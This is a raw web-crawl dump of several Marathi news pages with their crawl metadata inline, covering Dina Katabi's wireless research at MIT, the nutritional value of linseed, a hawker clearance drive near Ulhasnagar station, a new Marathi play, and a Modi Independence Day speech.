सीरियातली जिथे सध्या युद्धसंघर्ष सुरू आहे. सीरियाच्या दमास्कस विद्यापीठातून बीएस पदवी घेतल्यानंतर ही मुलगी काही वर्षांपूर्वी अमेरिकेत आली. मॅसॅच्युसेट्स इन्स्टिटय़ूट ऑफ टेक्नॉलॉजी (एमआयटी) या संस्थेत ती शिकली. पीएचडी व एमएस केल्यानंतर ती आता एमआयटी या संस्थेत प्राध्यापक आहे. तिला नुकताच अडीच लाख डॉलरचा एसीएम इन्फोसिस पुरस्कार मिळाला आहे.\nतिचा संशोधनाचा विषय आहे तो बिनतारी संदेशवहन, माहिती दूरसंचार नेटवर्क. अमेरिकेच्या नॅशनल अ‍ॅकॅडमी ऑफ इंजिनीयरिंग या संस्थेची ती फेलो असून १०० शोधनिबंध तिच्या नावावर आहेत. २०१३ मध्ये तिने ‘सी थ्रू वॉल्स विथ वायफाय’ हा शोधनिबंध सादर केला होता तो खूप गाजला. रेडिओ लहरी माणसाच्या अंगावर जाऊन आदळतात त्या परत येतात, त्यांचे विश्लेषण करून त्या माणसाची भावनिक स्थिती समजते, असा या शोधनिबंधाचा मथितार्थ होता. हा प्रयोग तिने यशस्वीही केला. विज्ञान काल्पनिकेत शोभावे असे हे उपकरण तिने तयार केले आहे. त्याच्या मदतीने भिंतीपलीकडे असलेल्या माणसाची भावनिक स्थिती जाणून घेता येते. मध्यम वयातील संशोधकांना दिला जाणारा एसीएम पुरस्कार मिळाल्याने पुढील काळात तिला आणखी संशोधनास प्रोत्साहन मिळणार आहे. संवेदकांवर आधारित असलेले तंत्रज्ञान हे एखादी इमारत कोसळते तेव्हा ढिगाऱ्यात अडकलेल्या माणसांचा शोध घेण्यासाठीही उपयोगी असते, पण त्यापुढचा टप्पा तिने गाठला आहे. माहिती प्रसारणासाठी आता इंटरनेटचा वापर होत आहे. २०११ ते २०१६ दरम्यान मोबाइल डेटाचे प्रमाण जगात १८ पटींनी वाढले. दिना कटाबी हिच्या संशोधनामुळे माहितीवहन आणखी वेगाने होत आहे. मोबाइलला २०२० पर्यंत ११.६ अब्ज यंत्रे जोडली जातील, त्यामुळे आपण अनेक गोष्टी इंटरनेट ऑफ थिंग्जच्या मदतीने करू शकू. या सगळ्या प्रवासात दिना कटाबीचे संशोधन हे पायाभूत स्वरूपाचे आहे. फास्ट फुरियर ट्रान्सफॉर्म पद्धतीपेक्षा दहा ते शंभरपट वेगाने माहितीचे विश्लेषण करणारे स्पार्स फास्ट फुरियर ट्रान्सफॉर्म हे तंत्र तिने नव्या अलगॉरिथमच्या मदतीने शोधून काढले. दिना कटाबी आज सीरियात असती तर आपण या सगळ्या संशोधनाला मुकलो तर असतोच, पण आताच्या संघर्षग्रस्त सीरियात तिची स्थिती काय राहिली असती याची कल्पनाही करू शकत नाही.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00439.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.agrowon.com/node/11587", "date_download": "2018-09-25T17:48:58Z", "digest": "sha1:ICAZWX2YXTCWCCQ5EZ655WKINVOT7WS4", "length": 19739, "nlines": 159, "source_domain": "www.agrowon.com", "title": "agriculture story in marathi, importance of linseed for human health | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nगुरुवार, 23 ऑगस्ट 2018\nयंत्र सुव्यवस्थित कार्यरत राहण्यासाठी वंगण किंवा तेल महत्त्वाचे असते अगदी तसेच स्नायूंच्या आणि पेशींच्या बळकटीसाठी स्निग्धपदार्थ महत्त्वाचे आहेत. स्निग्ध पदार्थांमध्ये आपण तेल, तूप, बटर, लोणी, चीज, सुका मेवा, मासे, अंडी, इ. पदार्थांचे सेवन करतो. बहुतांशी तेल हे सोयाबीन, शेंगदाणा, सूर्यफूल, तीळ, मोहरी या तेलबियांपासून काढले जाते. तीळ, शेंगदाणा या तेलबियांपासून चिक्की, चटणी हे आहारातले दैनंदिन पदार्थ झाले आहेत; पण या सर्वांत जवसाचे सेवन मात्र फारच कमी किंवा नाहीच असे आहे. जवस हे सुद्धा एक तेलबिया पीक असून, पोषणमूल्यांनीयुक्त आहे. जवसाचे सोनेरी आणि गडद तपकिरी असे दोन प्रकार अाहेत.\nयंत्र सुव्यवस्थित कार्यरत राहण्यासाठी वंगण किंवा तेल महत्त्वाचे असते अगदी तसेच स्नायूंच्या आणि पेशींच्या बळकटीसाठी स्निग्धपदार्थ महत्त्वाचे आहेत. स्निग्ध पदार्थांमध्ये आपण तेल, तूप, बटर, लोणी, चीज, सुका मेवा, मासे, अंडी, इ. पदार्थांचे सेवन करतो. बहुतांशी तेल हे सोयाबीन, शेंगदाणा, सूर्यफूल, तीळ, मोहरी या तेलबियांपासून काढले जाते. तीळ, शेंगदाणा या तेलबियांपासून चिक्की, चटणी हे आहारातले दैनंदिन पदार्थ झाले आहेत; पण या सर्वांत जवसाचे सेवन मात्र फारच कमी किंवा नाहीच असे आहे. जवस हे सुद्धा एक तेलबिया पीक असून, पोषणमूल्यांनीयुक्त आहे. जवसाचे सोनेरी आणि गडद तपकिरी असे दोन प्रकार अाहेत. बाह्यस्वरूपी दिसायला लांबुळके, एका टोकाला अंडाकृती आणि दुसऱ्या बाजूला टोकदार असते. दोन्ही प्रकारच्या जवसाच्या प्रकारामध्ये पोषक घटक सम प्रमाणात असतात. भारतात बिहार, उत्तर प्रदेश, छत्तीसगढ, झारखंड, मध्य प्रदेश, राजस्थान, महाराष्ट्र ही प्रमुख जवस उत्पादन करणारी राज्ये आहेत. महाराष्ट्रात औरंगाबाद, बीड, लातूर, उस्मानाबाद या जिल्ह्यांतून जवस उत्पादन अधिक घेतले जाते. पूर्वीपासूनच जवसचा उपयोग हा लिनन तंतू किंवा कापड तयार करण्यासाठी केला जातो.\nजवसामध्ये २० टक्के प्रथिने, ४१ टक्के स्निग्ध पदार्थ, २९ टक्के कार्बोदके असून ४५० किलो कॅलरीज इतकी ऊर्जा मिळते.\nअधिक प्रमाणात स्निग्धता असूनदेखील जवसामध्ये संतृप्त स्निग्धतेचे प्रमाण कमी असून आरोग्याला फायदेशीर असणारे मेदाचे प्रमाण जास्त आहे.\nआरोग्यासाठी महत्त्वाचे असलेले ओमेगा-३ आणि ओमेगा -६ असलेले अल्फा लिनोलिनीक ॲसिड आणि लिनोलिक ॲसिड अधिक असतात.\nओमेगा-३ आणि ओमेगा-६ या स्निग्ध आम्ले हृदयविकारासारख्या आजारांना नियंत्रित; तसेच प्रतिरोध करण्यासाठी खूप महत्त्वाचे सिद्ध झालेले आहेत.\nएकूण स्निग्धांशापैकी ५७ टक्के ओमेगा-३, १६ टक्के ओमेगा -६, १८ टक्के एक-असंतृप्त (मोनो अन-स्यॅच्युरेटेड फॅट) मेद आणि केवळ ९ टक्के संतृप्त प्रकारातले मेद असते.\nजवसामध्ये एकूण स्निग्धांशापैकी ९१ टक्के असंतृप्त प्रकारचे मेद असते. संतृप्त मेदामुळे कोलेस्टेरॉल अधिक तयार होऊन नसांमध्ये साठून रक्त प्रवाहासाठी अडथळा निर्माण होतो.\nआहाराद्वारे संतृप्त मेद अधिक सेवन सुरु राहते तेव्हा हृदय विकाराचे आजार बळावतात. जवसामधील प्रथिनांची गुणवत्ता देखील सोयाबीनच्या तुलनात्मक आहे. महत्वाचे म्हणजे जवसामध्ये तंतुमय पदार्थांचे प्रमाण देखील जास्त असल्यामुळे बद्धकोष्ठ, कोलेस्टेरॉल कमी कमी करण्यासाठी, मधुमेहासाठी जवस आणि जवसापासूनचे पदार्थ फायद्याचे आहेत. लिग्नन नामक बायो-ॲक्टिव्ह संयुंगांचेा उत्तम स्रोत जवस आहे.\nलिग्निनमुळे ताणतणाव आणि अनेक असाध्य रोगांवर फायदेशीर सिद्ध झाल्याचे संशोधनातून दिसून आले आहेत. पोषणमूल्यां खेरीज जवसामध्ये सायनोजेनिक ग्लायकोसाइड आणि लीनाटिनसारखे अँन्टीन्युट्रीएंटस् असल्यामुळे जवसाचा वापर मर्यादित झाला आहे. शिवाय दिवसाला १ ते २ टेबल स्पून इतकेच जवस खाल्ले पाहिजे. म्हणूनच जवसाचा आहारात उपयोग करताना भाजून घेणे महत्त्वाचे आहे.\nकुकीज, मुखवास, चटणी, चिक्की, अनेक अन्नपदार्थांत जवसाचा अंतर्भाव करून जवसचे आहारातील प्रमाण वाढवून त्यापासून मिळणारे फायदे अनुभवू शकतो आणि उत्तम आरोग्याची काळजी घेऊ शकतो.\nसंपर्क ः एस. एन. चौधरी, ८८०६७६६७८३\n(के. के. वाघ अन्न त्रज्ञान महाविद्यालय, नाशिक.)\nसोयाबीन आरोग्य हृदय मधुमेह\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00440.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/mumbai/way-railway-station-42887", "date_download": "2018-09-25T17:24:26Z", "digest": "sha1:IW75OEH3B2EXECP4RZX4SWKDSHJK3WVS", "length": 12405, "nlines": 168, "source_domain": "www.esakal.com", "title": "The way to the railway station रेल्वेस्थानकांचा मार्ग सुकर | eSakal", "raw_content": "\nसोमवार, 1 मे 2017\nउल्हासनगर - चाकरमान्यांसाठी डोकेदुखी ठरणाऱ्या हातगाड्या, टपऱ्या, फेरीवाल्यांवर धडक कारवाई करत उल्हासनगर महानगरपालिकेने मिशन क्‍लीन रेल्वेस्थानक मोहीम हाती घेतली आहे. याअंतर्गत उल्हासनगर, तसेच शहाड स्थानकाचा परिसर चकाचक करण्यात आल्याने प्रवासी सुखावले आहेत.\nउल्हासनगर - चाकरमान्यांसाठी डोकेदुखी ठरणाऱ्या हातगाड्या, टपऱ्या, फेरीवाल्यांवर धडक कारवाई करत उल्हासनगर महानगरपालिकेने मिशन क्‍लीन रेल्वेस्थानक मोहीम हाती घेतली आहे. याअंतर्गत उल्हासनगर, तसेच शहाड स्थानकाचा परिसर चकाचक करण्यात आल्याने प्रवासी सुखावले आहेत.\nशहाड स्थानकाच्या परिसराला हातगाड्या, टपऱ्या, फळविक्रेते, सरबतविक्रेते, पान टपऱ्या, वडापाव, चहाविक्रेत्यांनी वेढा घातला होता. त्यामुळे सकाळी लोकल पकडण्यासाठी जाताना आणि लोकलमधून उतरून घरी जाताना प्रवाशांना कसरत करावी लागत असे. आयुक्त डॉ. सुधाकर शिंदे, सहायक आयुक्त अलका पवार यांच्याकडे याबाबतच्या तक्रारी येताच, दोघांच्या उपस्थितीत मुकादम हरेश उदासी, महेंद्र कारेकर, कैलास थोरात, रणजित गायकवाड, मधू निरभवणे आदींनी शहाड रेल्वेस्थानकाच्या परिसरातील सर्व बेकायदा टपऱ्या, हातगाड्या उद्‌ध्वस्त करून परिसर मोकळा केला. उल्हासनगर रेल्वेस्थानकाच्या पूर्व व पश्‍चिम भागातही सहायक आयुक्त गणेश शिंपी, अजित गोवारी, दत्तात्रय जाधव, मुकादम पी. ओ. पाटील, श्‍याम सिंह, मयूर परब, रवी पाटील, हरेश धामनानी आदींनी कारवाई केली आहे. पूर्वेला रेल्वेस्थानकाच्या बाहेर शहीद मारोती जाधव रिक्षा युनियनचे कार्यालय होते. कार्यालयाच्या मागेच युनियनची भंगार झालेली रुग्णवाहिका होती. सहायक आयुक्त शिंपी यांनी युनियनचे अध्यक्ष तथा शिवसेना नगरसेवक शेखर यादव, सरचिटणीस दिगंबर हजारे यांना केलेल्या सूचनेनुसार यादव यांनी रुग्णवाहिका काढून कार्यालय मागे घेतल्यामुळे चाकरमान्यांच्या येण्या-जाण्याचा मार्ग सुकर झाला आहे.\n...अन् आजीबाई थोडक्यात बचावल्या\nमनमाड : दैव बलवत्तर म्हणून समोरून धडधडत येणारा काळ अगदी जवळून निघून गेला आणि आजीबाईच्या जीवात जीव आला. मनमाड रेल्वे स्थानकावर रेल्वे...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nखरसुंडीत सिद्धनाथ मंदिरात सेवेकरी व देवस्थान ट्रस्ट यांच्यात जोरदार वाद\nआटपाडी : खरसुंडी येथील सिद्धनाथ मंदिरांत पौर्णिमेनिमित्त दर्शनबारीत केलेल्या बदलावरुन सेवेकरी व देवस्थान ट्रस्ट यांच्यात जोरदार वाद झाला....\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00441.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/474857", "date_download": "2018-09-25T17:20:42Z", "digest": "sha1:VUP75UCZAHW4SQKV6DI4PDI46533Z6TK", "length": 9590, "nlines": 40, "source_domain": "www.tarunbharat.com", "title": "कॉर्पोरेट जगताचा वेध घेणारे क्विन मेकर - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » मनोरंजन » कॉर्पोरेट जगताचा वेध घेणारे क्विन मेकर\nकॉर्पोरेट जगताचा वेध घेणारे क्विन मेकर\nजॉय कलामंच च्या माध्यमातून निर्माती जॉय भोसले यांची आणखी एक नाटय़कलाकृती रंगमंचावर येत आहे. एकाच वर्षाच्या कमी कालावधीत जॉय कलामंचने निर्मित केलेलं हे तिसरं नाटक आहे. यापूर्वी कळत नकळत आणि नुकतंच प्रदर्शित झालेलं पाऊले चालती पंढरीची वाट हे दोन वेगळे विषय जॉय भोसलेंनी रंगमंचावर सादर केले होते. आणि आता क्विन मेकरच्या निमित्ताने कॉर्पोरेट जगतातील आणखी एक वेगळा विषय रंगमंचावर सादर केला जाणार आहे. या नाटकाचे शुभारंभाचे प्रयोग 17 एप्रिल रोजी दुपारी 4 वाजता प्रबोधनकार ठाकरे, 18 एप्रिल रोजी दुपारी 4 वाजता गडकरी, ठाणे तर 19 एप्रिल रोजी दुपारी 4 वाजता शिवाजी मंदिर, दादर येथे होणार आहे.\nप्रसिद्ध अभिनेते, निर्माता-दिग्दर्शक आणि प्रकाश संयोजक म्हणून ख्याती प्राप्त असलेले राजन ताम्हाणे यांनी जॉय कलामंच निर्मित ‘क्विन मेकर’ या नाटकाचं दिग्दर्शन केलं आहे. आजतागायत तब्बल 37 व्यावसायिक नाटकांचं दिग्दर्शन, 100 हून अधिक नाटकांचे प्रकाशयोजनाकार आणि स्वत: एक कसलेले अभिनेते असलेले राजन ताम्हाणे यांच्याकडून प्रपोजलच्या नेत्रदीपक यशानंतर प्रेक्षकांच्या अपेक्षा वाढलेल्या आहेत. क्विन मेकरच्या पदार्पणातून त्यांचं कसदार दिग्दर्शन पुन्हा एकदा आपल्याला पहायला मिळणार आहे.\n‘क्विन मेकर’ हे नाटक युवा पिढीच्या मूळ प्रश्नाला हात घालणारं आहे. आजची पिढी लग्न करायला तयार झाली तर त्यामध्ये बऱयाच अटी असतात. यामधील काही अटी एकमेकांना पूर्णपणे पटत नसल्या तरी त्यावेळेची गरज म्हणून हा पर्याय ते स्वीकारतात. काळानुसार ही अट बायकोला बदलावीशी वाटते आणि काडीमोड होतो. त्यानंतर तो दुसरं लग्न करतानाही आपली तीच अट कायम ठेवतो. ही अट नेमकी कोणती आणि नाटकात पुढे काय होतं, हे काही दिवसांत नाटक रंगभूमीवर आल्यावरच समजू शकेल. हे नाटक म्हणजे आजच्या कॉर्पोरेट जगतातील पुरुषप्रधान वफत्तीवर बोट ठेवणारा एक आगळावेगळा प्रयोग आहे. या नाटकातील प्रमुख भूमिकांमध्ये अक्षर कोठारी, शीतल क्षीरसागर, अंकिता पनवेलकर, अमित गुहे सोबतच एका खास भूमिकेत बाल कलाकार इलिना शेंडे दिसणार आहेत. अभिनेता अक्षर कोठारी यांचं हे दुसरं व्यावसायिक नाटक आहे. याआधी त्यांनी लग्नबंबाळ हे नाटक तसेच बंध रेशमाचे, आराधना, कमला या मालिकेत भुमिका केल्या आहेत. सध्या सुरू असलेल्या कलर्स मराठी वाहिनीवरील चाहूल या मालिकेतील त्याची भूमिका लोकप्रियतेच्या शिखरावर आहे. अभिनेत्री शीतल क्षीरसागर यापूर्वी अनेक चित्रपट दुर्वा आणि का रे दुरावा ही मालिका तसेच तिन्हीसांज नाटकाच्या मध्यवर्ती भूमिकेत झळकली आहे. तर असं सासर सुरेख बाई फेम अंकिता पनवेलकर एका वेगळय़ा भूमिकेत आपल्याला पाहायला मिळणार आहे. या नाटकात काम करणारी चिमुरडी इलिना शेंडे ज्येष्ठ अभिनेते सुनील शेंडे यांची नात आहे. निश्चितच इलिना शेंडे या नाटकाचं खास आकर्षण ठरेल.\nक्विन मेकरची कथा लेखक रवि भगवते यांची असून प्रदिप मुळय़े यांचे नेपथ्य लाभले आहे. नाटकाचे संगीत परिक्षित भातखंडे आणि प्रकाशयोजना राजन ताम्हाणे, वेशभूषा कुहू भोसले, रंगभूषा शरद सावंत, व्यवस्थापक ओमकार पनवेलकर तर सूत्रधार गोटय़ा सावंत हे आहेत.\nसंस्कृती कलादर्पण गौरव रजनी चित्रपट महोत्सव जाहीर\n‘बॉईज’मध्ये सनीचा मराठमोळा अंदाज\nभटक्या-विमुक्त समाजाचे प्रश्न मांडणारा वाक्या\nमिथुन चक्रवर्तींनी मारला मराठी भाकरीवर ताव\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00441.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/desh/we-stopped-agents-shops-says-pm-modi-137826", "date_download": "2018-09-25T17:23:28Z", "digest": "sha1:HWALAPQSXIA6PAOCM4H7FRLJKPPCUFAV", "length": 13265, "nlines": 187, "source_domain": "www.esakal.com", "title": "we stopped agents shops says PM Modi देशातील दलालांची दुकाने बंद : पंतप्रधान | eSakal", "raw_content": "\nदेशातील दलालांची दुकाने बंद : पंतप्रधान\nबुधवार, 15 ऑगस्ट 2018\nकेंद्र सरकारकडून कृषी क्षेत्रात बदल घडवण्यासाठी प्रयत्न केले जात आहेत. शेतकऱ्यांच्या हिताचे निर्णय सरकारने घेतले आहेत.\n- नरेंद्र मोदी, पंतप्रधान\nनवी दिल्ली : काळा पैसा आणि भ्रष्टाचाऱ्यांना माफ करणार नाही. त्यांना शिक्षा झालीच पाहिजे. भ्रष्टचारी अधिकाऱ्यांवर आता कठोर कारवाई केली जात आहे, असे पंतप्रधान नरेंद्र मोदींनी आज (बुधवार) सांगितले. तसेच देशातील दलालांची दुकानेही बंद पाडली आहेत, असेही मोदी म्हणाले.\n72 व्या स्वांतत्रदिनानिमित्त दिल्लीतील लाल किल्ला येथे पंतप्रधान मोदी यांच्या हस्ते ध्वजारोहण करण्यात आले. त्यानंतर पंतप्रधान मोदींनी देशाच्या जनतेला संबोधित केले. यावेळी त्यांनी देशवासियांना स्वातंत्र्यदिनाच्या शुभेच्छाही दिल्या.\nपंतप्रधान मोदी यांच्या भाषणातील प्रमुख मुद्दे :\n- तिहेरी तलाकमुळे अनेक महिलांचे आयुष्य उद्ध्वस्त झाले आहे. त्यादृष्टीने आम्ही कायदा करत आहोत. मात्र, यासाठी काही लोकं विरोध करत आहेत.\n- मी मुस्लिम महिलांना आश्वासन देतो, की हा कायदा होणारच.\n- महिलांवर अत्याचार करणाऱ्या अशा राक्षसीवृत्तीतून मुक्त देशाला करायचे आहे.\n- आगामी काळात ग्रामस्थांनाही महत्त्वाचे अधिकार मिळणार आहेत. तिथे पंचायत आणि महापालिका निवडणुका होतील, यासाठी आमचे प्रयत्न सुरु आहेत.\n- मुद्रा योजनेंतर्गत देशातील 13 कोटी लोकांना मुद्रा कर्ज देण्यात आले आहे. यातील 4 कोटी लोकांनी पहिल्यांदाच कर्ज घेतले. त्यामुळे यातून देशातील बदल दिसून येत आहे.\n- केंद्र सरकारकडून कृषी क्षेत्रात बदल घडवण्यासाठी प्रयत्न केले जात आहेत. शेतकऱ्यांच्या हिताचे निर्णय सरकारने घेतले आहेत.\n- 2022 पर्यंत शेतकऱ्यांचे उत्पन्न दुप्पट केले जाईल.\n- देशाकडे आज आत्मविश्वास आहे. स्वप्न पूर्ण करण्यासाठी अथक परिश्रम करून देश यशाचे शिखर गाठत आहे.\n- आजचा दिवस देशात एक नवीन उत्साह घेऊन आला आहे.\nदरम्यान, पंतप्रधान मोदींनी देशाला स्वातंत्र्य मिळवून देण्यासाठी हुतात्मा जवानांना नमन करतो, अशा शब्दांत त्यांचे स्मरण केले. तसेच महाराष्ट्रातील चंद्रपूरच्या विद्यार्थ्यांचे मोदींनी कौतुक केले. या विद्यार्थ्यांनी एव्हरेस्टवर तिरंगा फडकवून देशाची शान वाढवली, असे पंतप्रधान मोदी म्हणाले.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 